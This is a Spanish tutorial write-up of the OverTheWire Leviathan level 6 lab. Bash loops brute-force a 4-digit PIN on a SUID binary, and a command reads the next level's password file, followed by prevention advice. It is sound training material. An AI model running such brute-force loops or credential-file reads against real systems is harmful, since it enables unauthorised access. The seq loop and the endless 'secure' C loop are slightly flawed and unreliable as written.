← Volver al listado de tecnologías

Leviathan Nivel 6 - Fuerza Bruta de PIN

Por: SiempreListo
overthewireleviathanbruteforcepinnivel-6

Leviathan Nivel 6 - Fuerza Bruta de PIN

Objetivo

Un binario leviathan6 pide un PIN de 4 dígitos.

Exploración

ls -la
./leviathan6
# usage: ./leviathan6 <4 digit code>

./leviathan6 1234
# Wrong

Análisis

ltrace ./leviathan6 1234

Verás comparación con atoi(). El PIN es un número de 4 dígitos (0000-9999).

Solución: Fuerza Bruta

Script Bash

for i in $(seq 0000 9999); do
  ~/leviathan6 $i
done

Script más eficiente

for i in {0000..9999}; do
  result=$(~/leviathan6 $i 2>&1)
  if [[ ! "$result" == *"Wrong"* ]]; then
    echo "PIN: $i"
    ~/leviathan6 $i
    break
  fi
done

Cuando encuentres el PIN correcto, obtendrás shell como leviathan7:

cat /etc/leviathan_pass/leviathan7

Teoría: Fuerza Bruta

¿Qué es?

Probar todas las combinaciones posibles hasta encontrar la correcta.

Complejidad

PINCombinacionesTiempo (1000/seg)
4 dígitos10,00010 segundos
6 dígitos1,000,00017 minutos
8 dígitos100,000,00028 horas

Por Qué Funciona Aquí

  1. Espacio pequeño: Solo 10,000 opciones
  2. Sin rate limiting: No hay límite de intentos
  3. Sin bloqueo: No se bloquea tras fallos

Prevención

MedidaDescripción
Rate limitingLimitar intentos por tiempo
Account lockoutBloquear tras N fallos
CAPTCHAVerificar humanidad
Contraseñas largasAumentar espacio de búsqueda
2FASegundo factor de autenticación

Implementación Segura

// Agregar delay exponencial
int attempts = 0;
while (1) {
    if (!verify_pin(input)) {
        attempts++;
        sleep(attempts * 2);  // 2, 4, 6, 8... segundos
    }
}

Herramientas de Fuerza Bruta

HerramientaUso
HydraLogin remoto
John the RipperHashes
HashcatHashes (GPU)
Burp IntruderWeb

Comandos Aprendidos

ComandoUso
seqGenerar secuencia
{0000..9999}Expansión de bash
Loops forAutomatización

Fin de Leviathan

Has completado Leviathan. Aprendiste:

  1. Análisis dinámico con ltrace
  2. Explotación SUID - binarios con privilegios
  3. Symlink attacks - manipular enlaces
  4. Fuerza bruta - cuando el espacio es pequeño

¿Qué Sigue?

WargameNivelTema
NarniaAvanzadoBuffer overflows
BehemothAvanzadoMás explotación
KryptonIntermedioCriptografía